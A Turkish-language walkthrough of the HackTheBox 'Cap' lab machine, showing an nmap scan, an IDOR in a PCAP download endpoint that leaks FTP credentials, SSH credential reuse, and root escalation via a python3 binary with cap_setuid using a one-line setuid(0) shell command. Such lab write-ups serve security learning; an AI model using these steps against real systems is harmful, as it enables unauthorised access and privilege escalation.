Post

HackTheBox | Cap WriteUp

HackTheBox | Cap WriteUp

Özet

Web uygulamasının PCAP dosyalarını indirdiğimiz alanında bir IDOR zafiyetinin olduğunu öğrenecek ve sırasıyla tüm PCAP dosyalarını indirip, inceleyeceğiz. PCAP dosyalarından birinde bulduğumuz kullanıcı bilgileri ile SSH servisine bağlanacak, daha sonra ise python dosyasının setuid yeteneğinin olduğunu öğrenecek ve bu yetenekten yararlanarak yetki yükselteceğiz.

Keşif aşaması

Nmap taraması

1
2
3
4
5
6
7
8
9
10
11
12
$ nmap -sV -sC -T4 10.10.10.245         
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
...

Tarama sonucunda üç adet port’un açık olduğunu ve HTTP servisinde çalışan uygulamanın bir yönetim paneli olduğunu öğreniyoruz.

80 numaralı port’un incelenmesi

Web uygulamasında “colorlib” tarafından yapılmış, dört sayfadan oluşan bir güvenlik teması kullanılıyor. “IP Config” ve “Netword Status” sayfasında belirli komutlardan dönen sonuçlar bulunuyor.

Son sayfada ise PCAP dosyalarını indirebileceğimiz bir bölüm var.

Sömürü aşaması

İndirme butonuna tıkladığımızda bizi “/download/4” sayfasına yönlendiriyor. Bu sayfada ise URL adresinde belirtilen numaraya karşılık gelen PCAP dosyasını indiriyor. Numarayı “0” olarak değiştirdikten sonra indirip, wireshark aracılığıyla görüntülediğimizde FTP servisine ait kullanıcı bilgileri ile karşılaşıyoruz.

FTP servisinde bağlandıktan sonra ise nathan kullanıcısının dizininde olduğumuzu öğreniyoruz ve dizin geçişlerinin açık olduğunu görüyoruz. Haliyle aynı kullanıcı bilgilerini kullanarak SSH servisine bağlanabileceğimizi düşündüm ve bağlandıktan sonra ise ilk bayrağı almak için user.txt dosyasını görüntüledim.

1
2
nathan@cap:~$ cat user.txt 
56c***1d8

Yetki yükseltme

root

Hatırlarsanız, web uygulamasında sistemde bir komut çalıştırdıktan sonra sonuçlarını doğruca ekrana yazdıran bir sayfa vardı. Uygulamanın arka planda ne yaptığını görmek için /var/www/html sayfasına gittiğimizde python’u kullanarak kullanıcı ID’sini 0 yaptığını ve komut çalıştırdığını görüyoruz.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def capture():
        get_lock()
        pcapid = get_appid()
        increment_appid()
        release_lock()

        path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
        ip = request.remote_addr
        # permissions issues with gunicorn and threads. hacky solution for now.
        #os.setuid(0)
        #command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
        command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
        os.system(command)
        #os.setuid(1000)
                                                                                                                                                                                              
        return redirect("/data/" + str(pcapid))

0 ID’si root kullanıcısına ait olduğundan root yetkisinde komut çalıştırdığını düşünebiliriz. Bunu yapabilmesi için python dosyasına setuid yeteneğinin verilmesi gerekiyor. Kontrol ettiğimizde setuid yeteneğinin olduğunu görüyoruz.

1
2
nathan@cap:/var/www/html$ getcap /usr/bin/python3.8
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

Aynı komutun sadece komut çalıştıracağımız alanını değiştirdikten sonra çalıştırdığımızda root kullanıcısına geçiş yapıyor ve son bayrağı kendi dizininden alıyoruz.

1
2
3
4
5
6
nathan@cap:/var/www/html$ python3 -c 'import os; os.setuid(0);os.system("bash")'
root@cap:/var/www/html# cd /root
root@cap:/root# ls
root.txt  snap
root@cap:/root# cat root.txt 
857***bad
This post is licensed under CC BY 4.0 by the author.